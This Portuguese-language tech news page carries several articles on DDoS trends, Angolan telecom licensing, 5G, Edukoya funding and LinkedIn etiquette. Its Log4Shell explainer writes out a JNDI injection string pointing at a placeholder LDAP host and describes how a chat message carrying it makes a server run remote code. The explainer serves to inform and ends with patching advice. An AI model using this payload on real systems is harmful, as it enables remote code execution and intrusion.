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Quinta-feira, Dezembro 18, 2025
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Ataques DDoS aumentam em quase 24% no terceiro trimestre de 2021

A Kaspersky lançou o seu mais recente relatório de ataques DDoS (Distributed Denial of Service), que revelou que houve um aumento de quase 24% de ataques desse tipo em 2021, em comparação com o mesmo periodo em 2020.

Na investigação da empresa de cyber-segurança, mostrou ainda que o número de ataques DDoS “inteligentes”, mais sofisticados e direcionados e podem ser utilizados para perturbar serviços, tornar certos recursos inacessíveis ou para extorquir dinheiro, aumentou 31% no terceiro trimestre de 2021, o que refletiu um aumento face ao trimestre anterior.

Os Estados Unidos continuam a ser o país que mais sofre ataques de DDos, com 40,8% dos ataques, seguindo-se Hong Kong e China. Uma nota ainda muito importanete revelada nesse recente relatório, foi também que a Kaspersky detectou um número recorde de 8.825 ataques DDoS num só dia.

Para os engenheiros da empresa, informam que alguns dos ataques em larga escala registados no último trimestre envolveram uma botnet chamada Mēris, capaz de enviar um elevado número de pedidos por segundo e que foi detetada em incidentes que tiveram como alvo duas publicações online de cibersegurança, a Krebs on Security, do conhecido jornalista Brian Krebs, e a InfoSecurity Magazine.

MAIS: O que é Log4Shell, a quem isso afecta e como se corrige?

De referir ainda, que entre as tendências verificadas ao longo do terceiro trimestre deste ano destacam-se uma série de ataques com motivações políticas na Europa e na Ásia e contra criadores de videojogos.

Os cibercriminosos levaram também a cabo operações para impactar recursos de combate à pandemia em vários países, registando-se ataques contra fornecedores de telecomunicações no Canadá, nos EUA e no Reino Unido.

Falando em alusão ao relatório divulgado, Alexander Gutnikov, especialista em segurança da Kaspersky, diz que a empresa de cybersegurança tem visto nos últimos anos uma competição por recursos entre, por um lado, grupos de cibercriminosos especializados em ataques cripto, e por outro, atacantes que se dedicam a ataques DDoS.

Enquanto anteriormente víamos um declínio nos ataques de DDoS à medida que as criptomoedas ganhavam valor, agora estamos a assistir a uma redistribuição de recursos. Os recursos de DDoS são procurados e os ataques são rentáveis. Esperamos ver o número de ataques DDoS a aumentar no quarto trimestre, especialmente porque, historicamente, os têm sido particularmente elevados no final do ano“, afirma o especialista.

BNA autoriza Unitel a realizar transferências móveis e instantâneas

O Banco Nacional de Angola (BNA) concedeu, através de um despacho do governador daquela instituição, José de Lima Massano, datado  de 16 de Outubro, a licença de Prestador de Serviços de Pagamentos à Unitel Serviços Financeiros Móveis.

Segundo o que é revelado por intermédio de várias plataformas informativas, com essa licença a Unitel estará autorizada a realizar transferências móveis e instantâneas, vulgarmente conhecidas como pagamentos móveis ou mobile Money.

De acordo com Banco Central angolano, a atribuição da licença vai ao encontro de uma das acções prioritárias do Plano Nacional de Inclusão Financeira da instituição, e que passa por garantir à sociedade civil angolana um maior acesso à rede de serviços financeiros.

Sobre a operadora telefónica, que recentemente lançou o serviço de pagamentos e transferências móveis e instantâneas por intermédio de terminais telefónicos, denominado Unitel Money, e que tá com uma taxa de crescimento de 25% ao mês, pelo que foi revelado, vai reforçar a estratégia de inclusão financeira da empresa.

MAIS: Unitel Money, o novo serviço de pagamentos móveis, já disponível

Por outro lado, as autoridades angolanas têm como objectivo, até 2022, que um mínimo de 50% da população adulta angolana tenha acesso aos serviços financeiros básicos. É ainda nessa mesma senda que  “tendo presente que a inclusão financeira é uma condição fundamental para o desenvolvimento económico sustentável, o Banco Nacional de Angola tem participado em acções conducentes à criação de um ecossistema de pagamentos moderno e inclusivo” diz uma fonte daquela instituição bancária.

De referir ainda, que a nova lei do sistema de pagamentos do BNA propiciará a entrada de novos tipos de instituições financeiras (fintechs) assim como o Laboratório de Inovação do Sistema de Pagamentos são algumas dessas acções.

Vodacom Moçambique vence prémio VMware 2021

A Vodacom Moçambique foi a grande vencedora da 17º Edição do Prémio VMware 2021 para África, prémio esse que distingue as realizações notáveis dos seus clientes na solução de problemas de negócios, usando a tecnologia VMware, revela o jornal moçambicano  O País.

A representante da Vodacom naquele país foi considerada como a vencedora por ter fornecido soluções de voz e dados digitais superiores, tendo como base o desenvolvimento de aplicações ágeis e flexiveis para a crescente base dos clientes.

Esse prémio é realizado anualmente e somente para os clientes da VMware, que são indicados e avaliados por comité global, tendo como base critérios que reflectem os valores do VMware EPIC, bem como do Código de Liderança. A Vodacom Moçambique venceu pelos seus valores de Eficiência, Execução, Inovação e Visão.

é com grande orgulho que recebemos este prémio voltado para a área de tecnologia, pois reconhecemos o trabalho de todos os técnicos de tecnologias de informação que actuam dentro da Vodacom. Este reconhecimento demonstra que estamos no caminho certo, ou seja, reforça que o trabalho executado até aqui contribuiu para facilitar a vida aos nossos clientes. Este prémio valida a nossa certeza de que estamos a cumprir o nosso objectivo com excelência. É muito gratificante saber que o trabalho desenvolvido diariamente pela nossa equipa é valorizado. Receber uma boa avaliação do público externo é sempre uma conquista, especialmente quando este retorno vem de uma audiência tão qualificada e exigente como a VMware” revela Rui Lousã, Director Executivo de Tecnologia da Vodacom.

MAIS: Vodacom usará projecto da Google para expandir acesso à Internet em Moçambique

De referir ainda, que para essa edição de 2021 foram nomeadas empresas de mais de 20 países, sendo que a Vodacom de Moçambique foi a única vencedora para o continente africano. Ainda sobre esse prémio, conquistado pela instituição moçambicana, foi realizado recentemente um estudo de caso sob o tema ”Vodacom Moçambique mantém o país conectado com a nuvem VMware”, que espera-se que seja publicado no próximo ano.

Sobre a VMware, informar que a mesma é a fornecedora líder de serviços de nuvem múltipla para todos os aplicativos, permitindo inovação digital com controlo corporativo.

INACOM atribui licenças de frequências para tecnologias 5G a três operadoras

O Instituto Angolano das Comunicações(INACOM) levou hoje(20) a atribuição de títulos para utilização de frequências para a implementação da tecnologia 5G aos operadores de comunicações electrónicas Africell, Movicel e Unitel, em um evento que contou com a presença da MenosFios.

Realizado nas instalações do INACOM, essa acção é respaldada pelo Decreto Presidencial nº200/21 de 23 de Novembro, que consagra a atribuição da faixa de frequência 3.3-3.7 GHz ao serviço de telefonia móvel terrestre, especialmente para o desenvolvimento da tecnologia 5G que em 2021 é impulsionada pela necessidade de se assegurar uma contínua melhoria na prestação de serviços de telecomunicações.

O Presidente do Conselho de Administração do INACOM, Pascoal Borges Ale Fernandes, foi um dos intervenientes da cerimónia, que começou por destacar o dia de hoje um marco e passo importante, na caminhada da transformação do sector das telecomunicações em Angola, informando que ”o INACOM trabalhou no refarming de frequências no sentido de garantir as condições técnicas para que Angola pudesse disponibilizar as frequências que hoje são atribuídas, bem como dar a possibilidade de suportar maior densidade de equipamentos em simultâneo e assim, haver um aumento considerável na qualidade do serviço, abragendo mais clientes em território nacioanal…”.

O Ministro das Telecomunicações Tecnologias de Informação e Comunicação Social, Manuel Gomes da Conceição Homem, também discursou no evento e começou por considerar que ”as tecnologias de informação e comunicação são, a par das infraestruturas associadas a logística, agricultura e energia, um dos factores mais importanetes para a captação de investimento e também para que a economia se possa desenvolver e crescer.

MAIS: Unitel à espera do INACOM para implementação do 5G

O progesso do nosso país a nível internacional foi também um dos assuntos destacado pelo Ministro na sua abordagem, onde ”em relação aos indicadores de desenvolvimento e tendo em consideração que a nossa população está entre as cinco mais jovens e de crescimento mais rápido do mundo, acreditamos que as TIC têm um papel cada vez mais importante na captação de investimento e diversificação da economia, na criação de emprego baseado no valor acrescentado do conhecimento, inclusão digital e combate a exclusão social…”.

Segundo o que a nossa redacção apurou, com a atribuição desses títulos a essas três operadoras, o Governo Angolano pretende garantir que os investimentos ao nível das infraestruturas de telecomunicações estejam em conssonacia com a evolução tecnológica que o mundo observa, e leva ainda em consideração a necessidade de se garantir a sustentabilidade dos meios, tendo como foco fundamental a garantia de uma melhor prestação de serviços a população.

De informar ainda, segundo o que revela o INACOM, os processos de atribuição dos referidos títulos obedecem a alguns procediemntos muito específicos, designadamente a atribuição do título por um periodo de dois anos para a realização de testes, fase durante a qual os operadores estão isentos de pagamentos de taxas pela utilização do espectro, e na etapa subsequente, a atribuição do título para operação, fase em que os detentores dos títulos procedem ao pagamento de taxas de utilização do espectro consignado.

A actividade de hoje confirma também uma clara conquista e representa mais umestágio d eevolução das redes sem fio nacionais, que vai permitir um novo nível de flexibilidade, desempenho e altas taxas de transmissão de dados, para que as redes possam fornecer serviços para atender as necessidades de uma grande variedade de usuários e diferentes tipos de conexão.

Em representação das operadoras estiveram Almicar Safeca(UNITEL), Aldison Santos(Movicel) e Gonçalo Farias(Africell).

 

 

O que é Log4Shell, a quem isso afecta e como se corrige?

Uma vulnerabilidade séria em uma biblioteca de código aberto amplamente usada na linguagem Java está a abalar o cenário global de TI. A chance de que a sua empresa seja afectada é tão grande. A resolução começa com a compreensão, então vamos explicar o problema do Log4Shell.

No princípio do mês em curso, a equipa de segurança em nuvem do Alibaba soou o alarme. A equipa encontrou uma vulnerabilidade séria no Log4j. Os desenvolvedores usam a biblioteca de código aberto de Java para registrar eventos em aplicativos Java, também conhecido como registro. A vulnerabilidade agora é conhecida como Log4Shell. Pessoas mal-intencionadas têm um método simples de executar o código em uma variedade de aplicativos Java. Os especialistas não se perguntam quem é atingido, mas quem não é atingido.

  • Como funciona o Log4j?

Log4j foi incorporado a uma grande quantidade de plataformas, aplicativos e serviços. Os softwares da Cisco, IBM, VMware, Fortinet e Red Hat são alguns exemplos. A aplicação exacta da biblioteca varia, mas o registro de eventos em aplicativos sempre desempenha um papel. Pense em observar as tentativas de login ou a identidade do usuário de um aplicativo.

O aplicativo processa um evento; Log4j emite dados. O programador do aplicativo determina quais dados. Conforme mencionado anteriormente, pode ser o nome de usuário de uma tentativa de login. Ou a hora em que um usuário faz login.

A vulnerabilidade que a equipa de segurança do Alibaba encontrou é o resultado de uma interação entre a linguagem de programação Java e a biblioteca Log4j. Java, em combinação com Log4j, é capaz de executar código em um servidor remoto. Para isso, os programadores passam a seguinte linha: $ {jndi: ldap: //example.com/vaneenurl} . O url real pode ser substituído pelo endereço de um servidor de sua escolha. Se você executar a linha em um aplicativo Java, o aplicativo tentará executar os dados do url especificado.

Isso não é uma vulnerabilidade em si, porque em cenários desejáveis ​​do mundo real, apenas um administrador autorizado tem a capacidade de adicionar a regra em um aplicativo. O problema começa com Log4j executa a linha, Java interpreta exactamente o mesmo comando que uma linha propositalmente colocada no aplicativo por um desenvolvedor.

Suponha que o Log4j esteja configurado para registar o conteúdo de uma mensagem de bate-papo em um jogo online. Um usuário do jogo envia a linha acima em uma mensagem de bate-papo. A url aponta para um servidor com instruções para executar um aplicativo malware. Log4j executa a linha para fora. Java interpreta um comando – e segue o comando ordenadamente. O usuário consegue invadir o servidor sem precisar obter uma única senha.

  • Quem corre risco?

A ameaça mencionada se aplica a qualquer outro aplicativo Java que registe a entrada de um usuário por meio do Log4j. Há muito poucos. O iCloud é um exemplo proeminente. Log4j foi encontrado em algum lugar no software da loja da Apple- iCloud para registar nomes de iPhones, então a mudança de nome de um iPhone foi o suficiente para se infiltrar nos servidores do iCloud.

Além disso, uma grande quantidade de serviços de hospedagem regista os nomes dos navegadores para determinar qual navegador um usuário conectado está a usar. A popularidade do Log4j é impossível de medir, mas estima-se que a biblioteca esteja no software da maioria dos ambientes de negócios.

  • Qual é o dano do Log4j?

Neste ponto, ninguém parece saber exatamente quanto dano a vulnerabilidade fez e ainda pode causar. Ele passou despercebido pelos usuários do Log4j por anos. É impossível nesta fase determinar se e quais hacks foram causados ​​pela vulnerabilidade desde 2013 (ano da primeira versão vulnerável). Sabemos que os cibercriminosos têm procurado alvos em massa e de maneira direcionada desde que a vulnerabilidade foi anunciada.

Diversas organizações de segurança, incluindo a Check Point Software, destacam o último. A organização diz que observou 400.000 tentativas de abuso em três dias. Seu departamento de pesquisa também afirma que os cibercriminosos tentaram atacar 31,5% de todas as redes corporativas globais.

  • E agora?

Qualquer versão do Log4j publicada entre 13 de setembro de 2013 e 5 de dezembro de 2021 é vulnerável. A Apache Software Foundation, que pertence ao Log4j, lançou um patch de emergência para consertar a vulnerabilidade.

A facilidade com que a vulnerabilidade pode ser abusada funciona nos dois sentidos. Em um nível técnico, a solução é simples. Um patch da biblioteca é suficiente. O principal problema é de natureza prática. Log4j é usado com tanta frequência que as organizações raramente sabem exactamente onde a biblioteca se aplica. A maioria das autoridades de segurança cibernética recomenda começar com um inventário dos aplicativos para os quais o Log4j é usado nos ambientes de TIC. Então, uma actualização do aplicativo com o patch oficial é o conselho recomendado. Caso o fornecedor do aplicativo ainda não forneça uma versão actualizada, a forma mais segura é desactivá-la.

Denunciante do Facebook vai lançar livro sobre a sua experiência

A antiga funcionária do Facebook Frances Haugen, que denunciou a empresa tecnológica por colocar os benefícios económicos à frente da segurança dos utilizadores e mesmo do sistema democrático, vai lançar um livro onde vai contar com mais pormenores as práticas menos éticas da empresa.

Segundo o que revela o The New York Post, na obra literária Frances vai contar mais pormenores da sua experiência na empresa, onde exercia o cargo de gerente de produto.

Revela ainda aquela plataforma noticiosa, que a livro vai ler lançado com o selo da editora Little, Brown & Company, do grupo Hachette, e onde o título ou a data de lançamento ainda não são conhecidos.

MAIS: Denunciante do Facebook fala hoje no Parlamento Europeu

De referir que a antiga funcionária do Facebook, Frances Haugen, revelou diversos documentos internos do Facebook para o diário The Wall Street Journal, revelação essa que desencadeou o mais recente escândalo para a rede social e mostrou que esta atua de forma muito diferente face ao discurso oficial.

Apesar das informações publicadas terem por base relatórios, apresentações internas e conversas na internet entre funcionários, e não indiciarem que o Facebook está a cometer qualquer ilegalidade, mostram, contudo, decisões eticamente reprováveis e uma prioridade dada aos resultados financeiros sem qualquer crítica moral, revelou a denunciante.

Consultório MenosFios: 5 conteúdos que não deve partilhar no seu LinkedIn

Actualmente o LinkedIn é a rede social professional mais cotada mundialmente, onde conta com mais de 700 milhões de utilizadores activo. Essa rede social é ótima para toda aquela pessoa que  procuram ligar-se a outros indivíduos com os mesmos interesses.

Por isso, levando em conta a sua extrema importância para os profissionais, nesse episódio do Consultório MenosFios, e em parceria com a Pplware, vamos trazer o LinkedIn em destaque, sugerindo aos nossos fiéis leitores 5 coisas que nunca deves publicar na plataforma se quiser permanecer do lado certo do profissionalismo.

Avisar antepadamente, que apesar de neste artigo dar-se conselhos do que não partilhar na sua conta LinkedIn, muitos empregadores presentes na plataforma poderão não prestar ou dar tanta relevância aos mesmos.

Então, confira agora o que não deve publicar no LinkedIn.

1 Fotos Poucos Profissionais

Como é sabido por meio-mundo, o LinkedIn é uma rede social para criar relações comerciais e expandir o seu networking profissional. Então, evite promover no seu perfil as suas noites de diversão. Esse tipo de conteúdo a mostra no seu mural cronológico podem refletir de forma negativa a sua ética de trabalho. Avisar também que esses tipos de fotografias é uma péssima ideia para quem procura emprego, visto que alguns empregadores podem analisar todas as suas fotografias e julgá-lo com base no que vem nelas.

Outra coisa muito importante, e que alguns utilizadores esquecem, é que publicar fotografias inadequadas podem violar as políticas do LinkedIn, o que consequentemente podem levar à suspensão da sua conta.

2 Informação Pessoal no LinkedIn

Nos dias de hoje, e ainda com essas situações de espionagem das pessoas, é sabido que muitas empresas vendem as informações de pessoas ou até mesmo utilizá-la contra as mesmas. Por isso, embora que não é nada de especial publicar dados pessoais no LinkedIn, aconselhamos a não publicar dados pessoais como o seu número de telefone, endereço de correio eletrônico, morada, ou outras informações que podem ser consideradas como pessoais. Apesar de que o LinkedIn seja uma rede profissional, como já falamos desde o início do artigo, e que esteja a procura de emprego, evite partilhar as suas informações pessoais. Se um empregador estiver realmente interessado nos seus serviços ou préstimos, o mesmo vai contactá-lo diretamente a si.

Outra peculiaridade em colocar informações pessoais suas no seu perfil, é que estará sujeito a spammers, que notavelmente vão enviar-lhe ligações prejudiciais através do seu endereço de correio eletrônico.

MAIS: Consultório MenosFios: Como pedir o teu certificado digital em 5 passos

De avisar também que não revele detalhes sobre o seu salário pessoal, visto que partilhar esta informação poderá levar-lhe a problemas com o seu patrão ou patroa atual.

3 Post’s com Informações Duvidosas

Gostaríamos de relembrar que o seu perfil no LinkedIn representa a si próprio ou à sua marca profissional. Por isso, a publicação de conteúdos com informações duvidosas pode levar a reações negativas por parte dos seus seguidores, onde é recomendável evitar essas situações inconvenientes.

Sem esquecer, é claro, que os empregadores não vão querer contratá-lo se o virem a publicar este tipo de conteúdo, visto que hoje em dia, boa parte das instituições empregadoras têm nos seus padrões uma política empresarial rigorosa sobre o que os empregados podem e não podem publicar online. Uma outra coisa bem certa, é que esses tipo de posts são sempre criados com o intuito de gerar discussões, o que infelizmente, não resultam lá em conversas muito produtivas.

4 Post’s Políticos e Religiosos

Embora que a primeira vista são assuntos de interesse público, os posts políticos e religiosos no LinkedIn podem ofender algumas pessoas, sem esquecer da particularidade de que esses tipos de posts podem afastar potenciais clientes ou colegas com os seus pontos de vista, bem como começar discussões desnecessárias e prejudicar a sua procura de emprego.

Informar ainda que os empregadores estão sempre à procura de redes sociais para obterem uma noção da personalidade das pessoas e se estas se encaixam na sua empresa. Então, ao verem este tipo de posts, podem perder o interesse em contactá-lo para uma entrevista.

Em suma, o conselho da nossa redacção é não partilhar também mensagens políticas, visto que elas podem fazer com que pessoas com uma visão diferente percam todo o interesse em si.

MAIS: Consultório MenosFios: Conheça as 9 apps de mensagens com mais encriptação e privacidade

Lembre-se de que o LinkedIn é uma plataforma global. A política que apoia pode não ser relevante noutros países, por isso mantenha-se ligado a tópicos relacionados com a indústria ou com os quais a maioria das suas conexões se pode relacionar.

5 Comentários Negativos

A publicação de conteúdos difamatório no LinkedIn pode trazer-lhe problemas. Por isso, se estiver a partilhar informações erradas sobre uma empresa ou pessoa, há uma boa possibilidade de que estes tomem medidas legais contra si, o que inclui perda de emprego e possível pena de prisão.

Portanto, esteja atento. Evite escrever mensagens negativas sobre os seus empregadores atuais ou anteriores no LinkedIn. Isso pode prejudicar a sua reputação, fazer com que seja despedido, ou dificultar-lhe a obtenção de emprego.

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Esse foi o episódio do Consultório MenosFios dessa semana, onde esperamos que seja útil para todo e qualquer pessoa que tenha um perfil na rede social LinkedIn. Agora, pedimos que os nossos leitores a comentem e que contribuam com informações adicionais que julguem serem necessárias sobre esse mesmo tema.

Todas e quaisquer questões que gostassem de ver aqui respondidas devem ser colocadas no canal de comunicação exclusivo e dedicado ao consultório Menos Fios.

Falamos do e-mail criado para esse fim: [email protected]. Este é o único ponto de recepção das questões que nos enviarem. Usem-no para nos remeterem as vossas questões, as vossas dúvidas ou os vossos problemas. A vossa resposta surgirá muito em breve.

Plataforma africana de aprendizagem online arrecada USD 3,5 milhões

A Edukoya, uma plataforma de aprendizagem online com foco em África, arrecadou USD 3,5 milhões em um evento de pré-lançamento liderada pela Target Global com a participação estratégica de vários investidores, incluindo fundadores europeus e africanos, como Shola Akinlade – CEO e cofundador da Paystack (adquirida por Stripe), Babs Ogundeyi e Musty Mustapha – fundadores da Kuda, Brandon Krieg e Ed Robinson – fundadores da Fintech Stash e Raffael Johnen – CEO da Aux Money entre outros.

Lançado em dezembro de 2021, A plataforma Edukoya está a operar actualmente em beta, com foco na Nigéria. Na sua semana de lançamento, Edukoya foi o segundo aplicativo educacional mais baixado na Nigéria. Os novos fundos, a maior roda de pré-lançamento para uma plataforma EdTech africana até o momento, permitirão a transição do beta para o lançamento ao vivo em 2022, bem como a expansão da equipa, o crescimento da sua base de usuários e a construção da tecnologia para a plataforma de aprendizagem de Edukoya, incluindo suporte para os seus centros de desenvolvimento pan-africanos e europeus.

Edukoya é uma plataforma que capacita os alunos e os seus pais a assumir o controle do seu aprendizado e torna mais fácil para eles o acesso a materiais de aprendizagem de alta qualidade e ajuda especializada. A plataforma possui uma gama de recursos valiosos voltados para alunos do ensino médio nigeriano, incluindo preparação para exames e ajuda do tutor 24 horas por dia, 7 dias por semana, um banco de perguntas baseado em dados com soluções passo a passo e sistemas personalizados de acompanhamento de desempenho.

A educação de alta qualidade é cara e fora do alcance de milhões de alunos africanos. De acordo com os dados do Banco Mundial, as famílias africanas gastam 20-25 por cento do seu PIB per capita anual em educação. Edukoya oferece uma plataforma de aprendizado complementar gratuita, bem como pacotes de assinatura com recursos premium, com foco no aprendizado K-12 e preparação para exames. A experiência de aprendizagem é fornecida por meio de um modelo 100% online que promove a autoaprendizagem e permite que os alunos economizem tempo, dinheiro e se tornem mais inteligentes.

Falando sobre o novo financiamento, Honey Ogundeyi, a fundadora e CEO da Edukayo disse: “A nossa visão em Edukoya é redefinir a educação online para a próxima geração de africanos. África tem a população em idade escolar de crescimento mais rápido em todo o mundo, com mais de 260 milhões de alunos. O nosso objectivo é democratizar o acesso e tornar o ensino e o conteúdo de alta qualidade acessíveis para todos os alunos, independentemente de onde eles vivam no continente”.

Edukoya é uma empresa de tecnologia educacional que conecta estudantes africanos com o conteúdo do currículo digital e professores sob demanda para aprendizado online em tempo real. Reinventa como os alunos africanos aprendem na era dos dispositivos móveis, Edukoya combina um banco de perguntas habilitado para dados, professores de classe mundial, tecnologia inovadora e ciência de dados para fornecer aprendizagem personalizada em todas as classes.

UNITEL leva serviços 4G a mais três localidades do território nacional

A operadora telefónica UNITEL expandiu os seus serviços de voz e dados da rede 4G à três localidades do território nacional, nomeadamente Calimano (Huambo), Luachimo (Lunda-Norte) e Maquela do Zombo (Uíge), no âmbito de um programa da aplicação de uma estratégia da empresa virada para a elevação da qualidade das suas operações.

Essa informação foi divulgada pela própria empresa, em um comunicado de imprensa que chegou a redacção da MenosFios, onde ainda diz que essa expansão se deu no último mês, Novembro, onde acrescenta também que os serviços 3G e 4G da operadora estão actualmente disponíveis em 498 localidades, isto é, comunas e municípios ao redor de Angola, onde com essa expansão a transmissão de voz e dados, com a navegação de sites, downloads e uso de aplicativos online com maior rapidez.

MAIS: Unitel já prepara infra-estruturas para o lançamento do serviço 5G no país

Revela ainda o comunicado da UNITEL que os seus serviços de 4G  já cobrem as capitais de 17 províncias de Angola, bem como tem uma implantação de 25,6 por cento nos municípios e acima de 11,7 por cento nas comunas.

Por fim, a nota de imprensa ressalta também que com mais de 14 mil quilómetros de fibra óptica, 13 mil dos quais já em serviço, a UNITEL diz que está a revolucionar e impulsionar  o desenvolvimento tecnológico no país.

Cabo Verde anuncia tarifa social de acesso à internet para os mais pobres

O Primeiro-ministro cabo-verdiano instituiu, esta sexta-feira (17/12), a digitalização do país como um objectivo. Para isso, anunciou a criação de um fundo e de uma tarifa social de acesso à internet para os mais pobres.

“No primeiro trimestre do próximo ano, teremos a operacionalização do Fundo de Acesso Universal à Internet e a criação da tarifa social de acesso à internet com o objectivo de tornar a internet acessível aos que têm menor capacidade para pagar”, anunciou Ulisses Correia e Silva.

O chefe do Governo intervinha, no parlamento, no arranque do debate sobre a “Transformação Digital e Economia Digital em Cabo Verde”, e traçou como grande objectivo tornar o país numa “sociedade digital”, mas considerou que isso implica “assumir na sua plenitude a internet como um bem essencial”. E disse que essa transformação digital deverá permitir melhorar “de forma significativa” a qualidade dos serviços públicos fornecidos aos cidadãos e às empresas.

O chefe do Governo notou que há um conjunto de serviços públicos suportados pelas tecnologias, mas entendeu que, apesar dos avanços na governação electrónica, apenas 7% dos serviços públicos são prestados online, sendo 73% serviços presenciais e com muitos papeis.

“Precisamos alterar substancialmente este quadro”, reconheceu, lembrou ainda que, recentemente foi aprovado Estratégia para a Governação Digital 2021/2024, com um financiamento do Banco Mundial de pelo menos 20 milhões de dólares (17,8 milhões de euros).

Ulisses Correia e Silva disse também que o país precisa “avançar mais” na digitalização para a melhoria do ambiente de negócios, prometeu para o próximo ano melhorias no regime de abertura de empresas com a Janela Única, que vai permitir a integração e a interoperabilidade de serviços.

Ainda neste sector, Ulisses Correia e Silva traçou como outro objectivo tornar Cabo Verde num “Centro digital de referência” na região, através dos cabos submarinos de fibra óptica que ligam as margens do Atlântico e a sub-região africana.

MAIS: Cabo-Verde vai começar a emitir passaportes electrónicos

“A adesão à EllaLink, um investimento de 25 milhões de dólares da Cabo Verde Telecom (CVT), vai nesse sentido. Ajudará no desenvolvimento da competictividade digital do país com impacto na rápida evolução do crescimento da Internet e dados 5G”, explicou.

Reforço das condições do regulador das telecomunicações, separação funcional das operações da Cabo Verde Telecom com novo contrato de concessão, reestruturação do Núcleo Operacional da Sociedade de Informação (NOSi) e conclusão de parques tecnológicos da Praia e do Mindelo são outros instrumentos apontados por Correia e Silva para desenvolver o mercado.

“Cabo Verde tem que melhorar a sua posição no ranking da cibersegurança. Um conjunto de ações estão em curso e vão ser intensificadas com esse propósito”, garantiu o primeiro-ministro, para quem a transformação digital é um processo e Cabo Verde tem estado a acelerar neste sector.